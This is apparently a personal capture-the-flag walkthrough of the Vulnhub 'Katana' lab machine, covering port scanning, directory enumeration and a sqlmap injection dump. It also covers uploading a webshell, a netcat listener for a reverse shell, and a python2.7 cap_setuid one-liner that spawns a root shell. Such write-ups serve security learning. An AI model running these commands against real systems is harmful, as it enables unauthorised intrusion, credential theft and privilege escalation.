Vulnhub: Katana
This is beginner-intermediate machine from Vulnhub. Doing this machine was the first time I had ever heard of capabilities.
Scanning:
Finding the machine on the network
crazyeights@es-base:~$ nmap -PS 192.168.0.1-255
Nmap scan report for 192.168.0.207
Host is up (0.00028s latency).
Not shown: 994 closed ports
PORT STATE SERVICE
21/tcp open ftp
22/tcp open ssh
80/tcp open http
139/tcp open netbios-ssn
445/tcp open microsoft-ds
8088/tcp open radan-http
Finding more details about the services running on the machine:
crazyeights@es-base:~$ nmap -A -p- 192.168.0.207
PORT STATE SERVICE VERSION
21/tcp open ftp vsftpd 3.0.3
22/tcp open ssh OpenSSH 7.9p1 Debian 10+deb10u2 (protocol 2.0)
80/tcp open http Apache httpd 2.4.38 ((Debian))
139/tcp open netbios-ssn Samba smbd 3.X - 4.X (workgroup: WORKGROUP)
445/tcp open netbios-ssn Samba smbd 4.9.5-Debian (workgroup: WORKGROUP)
7080/tcp open ssl/http LiteSpeed httpd
8088/tcp open http LiteSpeed httpd
8715/tcp open http nginx 1.14.2
| smb-os-discovery:
| OS: Windows 6.1 (Samba 4.9.5-Debian)
| Computer name: katana
| NetBIOS computer name: KATANA\x00
| Domain name: \x00
| FQDN: katana
Port 80
Index Page:
Enumerating to look for more files and folders:
crazyeights@es-base:~$ dirb http://192.168.0.207
==> DIRECTORY: http://192.168.0.207/ebook/
+ http://192.168.0.207/index.html (CODE:200|SIZE:655)
+ http://192.168.0.207/server-status (CODE:403|SIZE:278)
---- Entering directory: http://192.168.0.207/ebook/ ----
[SNIP]
The Bookstore:
I have worked with the application before in another box. I know that the bookisbn parameter on the book page is vulnerable to sql injection, and the create/add book section is vulnerable to arbitrary file upload, which leads to remote code execution.
Unfortunately the ability to upload files for book covers has been stripped from the application so there is not much we can do.
We can exploit the sql injection vulnerability but there is nothing in the database that is helpful.
crazyeights@es-base:~$ sqlmap -u http://192.168.0.207/ebook/book.php?bookisbn=978-0-321-94786-4 --dump
Database: ebook
Table: admin
[1 entry]
+-------+--------------------------------------------------+
| name | pass |
+-------+--------------------------------------------------+
| admin | d033e22ae348aeb5660fc2140aec35850c4da997 (admin) |
+-------+--------------------------------------------------+
[SNIP]
Moving on to another service is the best next step.
Port 139, 445
Using enum4linux we find the username of local user katana
S-1-22-1-1000 Unix User\katana (Local User)
There is nothing else here. Moving on to the next service.
Port 8088
This service also had the katana index page.
When we enumerate we find several helpful pages.
crazyeights@es-base:~$ dirb http://192.168.0.207:8088 -X .html,.php,.txt
---- Scanning URL: http://192.168.0.207:8088/ ----
+ http://192.168.0.207:8088/error404.html (CODE:200|SIZE:195)
+ http://192.168.0.207:8088/index.html (CODE:200|SIZE:655)
+ http://192.168.0.207:8088/phpinfo.php (CODE:200|SIZE:50761)
+ http://192.168.0.207:8088/upload.html (CODE:200|SIZE:6480)
+ http://192.168.0.207:8088/upload.php (CODE:200|SIZE:1800)
On the upload.php page we see the following:
On the upload.html page we see a file upload form, meaning that we can likely upload a reverse shell:
I kinda got a bit lost when I did this, I was convinced it wasn’t working because I kept getting an error message when I tried a reverse shell, so I uploaded a webshell instead. It would with a reverse shell though, saving a step.
The next step is to find the location of the reverse shell on the four web servers on ports 80, 7080, 8088, and 8715, because the location /opt/manager/html could be a different web service.
I checked for katana_ws.php file on each of them one at a time until I found it on port 8715:
Start the listener:
nc -lvp 1234
Use the web shell to spawn a reverse shell to get access to the machine:
User
For the user katana we can find their password in a hidden file in their home directory:
We can now login as katana:
Add our public key to katana’s authorized_keys to login via SSH for a nicer shell:
This took me a long time to find out. We must use the capabilities configuration for privilege escalation. Capabilities allows for a root user to assign other users root privileges only for specific tasks.
The file capabilities.conf was not in the default location (/etc/security), and the tool getcap was not on the PATH.
katana@katana:~$ /usr/sbin/getcap -r / 2>/dev/null
/usr/bin/ping = cap_net_raw+ep
/usr/bin/python2.7 = cap_setuid+ep
cap_setuid allows the changing of the UID, so we can use python2.7 to get root by spawning a root shell with euid set to 0.
/usr/bin/python2.7 -c 'import os; os.setuid(0); os.system("/bin/bash")'
FIN. 🥳